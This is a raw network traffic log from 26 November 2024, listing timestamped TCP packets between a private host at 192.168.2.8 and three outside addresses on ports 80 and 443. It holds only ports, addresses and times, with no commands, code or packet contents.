Nov 26, 2024 08:03:47.183084011 CET	443	49794	104.40.82.182	192.168.2.8
Nov 26, 2024 08:03:47.183161020 CET	49794	443	192.168.2.8	104.40.82.182
Nov 26, 2024 08:03:47.183186054 CET	443	49794	104.40.82.182	192.168.2.8
Nov 26, 2024 08:03:47.183240891 CET	49794	443	192.168.2.8	104.40.82.182
Nov 26, 2024 08:03:47.214109898 CET	443	49794	104.40.82.182	192.168.2.8
Nov 26, 2024 08:03:47.214138031 CET	443	49794	104.40.82.182	192.168.2.8
Nov 26, 2024 08:03:47.214191914 CET	49794	443	192.168.2.8	104.40.82.182
Nov 26, 2024 08:03:47.214221001 CET	443	49794	104.40.82.182	192.168.2.8
Nov 26, 2024 08:03:47.214242935 CET	49794	443	192.168.2.8	104.40.82.182
Nov 26, 2024 08:03:47.214263916 CET	49794	443	192.168.2.8	104.40.82.182
Nov 26, 2024 08:03:47.234508038 CET	443	49794	104.40.82.182	192.168.2.8
Nov 26, 2024 08:03:47.234529018 CET	443	49794	104.40.82.182	192.168.2.8
Nov 26, 2024 08:03:47.234584093 CET	49794	443	192.168.2.8	104.40.82.182
Nov 26, 2024 08:03:47.234594107 CET	443	49794	104.40.82.182	192.168.2.8
Nov 26, 2024 08:03:47.234625101 CET	49794	443	192.168.2.8	104.40.82.182
Nov 26, 2024 08:03:47.234637976 CET	49794	443	192.168.2.8	104.40.82.182
Nov 26, 2024 08:03:47.264909029 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.264926910 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.265022993 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.265022993 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.265208006 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.265278101 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.265310049 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.265763044 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.266093969 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.266155005 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.266216993 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.267194986 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.267254114 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.267292023 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.267337084 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.268162012 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.268168926 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.268362045 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.268816948 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.268892050 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.268920898 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.268979073 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.269715071 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.269843102 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.270689964 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.270756006 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.270759106 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.271496058 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.271579027 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.271589994 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.272413015 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.272430897 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.272514105 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.272559881 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.273297071 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.273402929 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.273437977 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.273551941 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.274204969 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.274267912 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.274286032 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.274359941 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.275175095 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.275333881 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.275382996 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.276031017 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.276063919 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.276083946 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.276108027 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.277055979 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.277184963 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.277237892 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.278219938 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.278367043 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.278424025 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.278475046 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.279172897 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.279222012 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.279297113 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.279537916 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.279911995 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.280011892 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.280102015 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.280575991 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.280648947 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.280667067 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.280746937 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.281430960 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.281512976 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.282325983 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.282381058 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.282429934 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.283150911 CET	49776	443	192.168.2.8	18.165.220.106
Nov 26, 2024 08:03:47.283185005 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.283217907 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.283448935 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.283489943 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.284132004 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.284241915 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.284327030 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.285053015 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.285155058 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.285212994 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.285931110 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.286020041 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.286062002 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.286839008 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.287017107 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.287075043 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.287748098 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.287797928 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.287863016 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.288372993 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.288635969 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.288738012 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.288793087 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.289540052 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.289653063 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.289706945 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.290426970 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.290556908 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.290640116 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.291327000 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.291445017 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.291510105 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.292217970 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.292308092 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.292359114 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.293237925 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.293306112 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.293339968 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.293390989 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.294073105 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.294172049 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.294209957 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.294238091 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.294975042 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.295031071 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.295088053 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.295125008 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.295857906 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.295917034 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.295948982 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.296056986 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.296766043 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.296825886 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.296853065 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.296988964 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.297669888 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.297780991 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.297858953 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.298577070 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.298697948 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.298753023 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.299480915 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.299536943 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.299590111 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.299941063 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.300460100 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.300535917 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.300591946 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.301249027 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.301301956 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.301374912 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.301415920 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.302257061 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.302303076 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.302366972 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.303257942 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.303392887 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.304292917 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.304306030 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.304385900 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.304450989 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.304899931 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.304985046 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.305030107 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.305841923 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.305897951 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.305968046 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.306755066 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.306767941 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.306813955 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.307624102 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.307734013 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.307787895 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.308542967 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.308640003 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.308657885 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.308742046 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.309432983 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.309573889 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.309638977 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.310374975 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.310548067 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.310590029 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.310628891 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.311213017 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.311281919 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.311352968 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.311475039 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.312088966 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.312145948 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.323333979 CET	443	49776	18.165.220.106	192.168.2.8
Nov 26, 2024 08:03:47.334896088 CET	443	49794	104.40.82.182	192.168.2.8
Nov 26, 2024 08:03:47.334923029 CET	443	49794	104.40.82.182	192.168.2.8
Nov 26, 2024 08:03:47.334975004 CET	49794	443	192.168.2.8	104.40.82.182
Nov 26, 2024 08:03:47.334999084 CET	443	49794	104.40.82.182	192.168.2.8
Nov 26, 2024 08:03:47.335021973 CET	443	49794	104.40.82.182	192.168.2.8
Nov 26, 2024 08:03:47.335026979 CET	49794	443	192.168.2.8	104.40.82.182
Nov 26, 2024 08:03:47.335055113 CET	49794	443	192.168.2.8	104.40.82.182
Nov 26, 2024 08:03:47.335190058 CET	49794	443	192.168.2.8	104.40.82.182
Nov 26, 2024 08:03:47.336882114 CET	49794	443	192.168.2.8	104.40.82.182
Nov 26, 2024 08:03:47.336913109 CET	443	49794	104.40.82.182	192.168.2.8
Nov 26, 2024 08:03:47.475688934 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.475780964 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.475794077 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.475935936 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.476085901 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.476150990 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.476217031 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.476289034 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.477003098 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.477312088 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.477360964 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.477436066 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.478223085 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.478306055 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.478394985 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.478585958 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.479274035 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.479347944 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.479408979 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.479484081 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.480211020 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.480276108 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.480283022 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.480335951 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.481086969 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.481168032 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.481177092 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.481215954 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.481920958 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.482069969 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.482103109 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.482125998 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.482721090 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.482834101 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.482891083 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.483629942 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.483748913 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.483758926 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.483812094 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.484514952 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.484628916 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.484687090 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.485466957 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.485518932 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.485552073 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.485758066 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.486335039 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.486394882 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.486460924 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.486519098 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.487206936 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.487265110 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.487324953 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.487380981 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.488128901 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.488184929 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.488219976 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.488337994 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.489001989 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.489065886 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.489098072 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.489139080 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.489943981 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.490021944 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.490035057 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.490217924 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.490848064 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.490917921 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.490947008 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.491045952 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.491769075 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.491858959 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.491877079 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.491971016 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.492640018 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.492739916 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.492760897 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.492816925 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.493560076 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.493628979 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.493755102 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.493887901 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.494452000 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.494508028 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.494580984 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.494636059 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.495367050 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.495477915 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.495554924 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.496259928 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.496365070 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.496419907 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.497212887 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.497272015 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.497312069 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.497523069 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.498065948 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.498122931 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.498145103 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.498239994 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.499041080 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.499126911 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.499142885 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.499195099 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.499907017 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.500025034 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.500087976 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.500757933 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.500808001 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.500869036 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.501725912 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.501790047 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.501792908 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.501928091 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.502608061 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.502666950 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.502722979 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.502780914 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.503475904 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.503566027 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.503583908 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.503635883 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.504374981 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.504434109 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.504492044 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.504534960 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.505286932 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.505357027 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.505397081 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.505575895 CET	49747	80	192.168.2.8	185.215.113.206
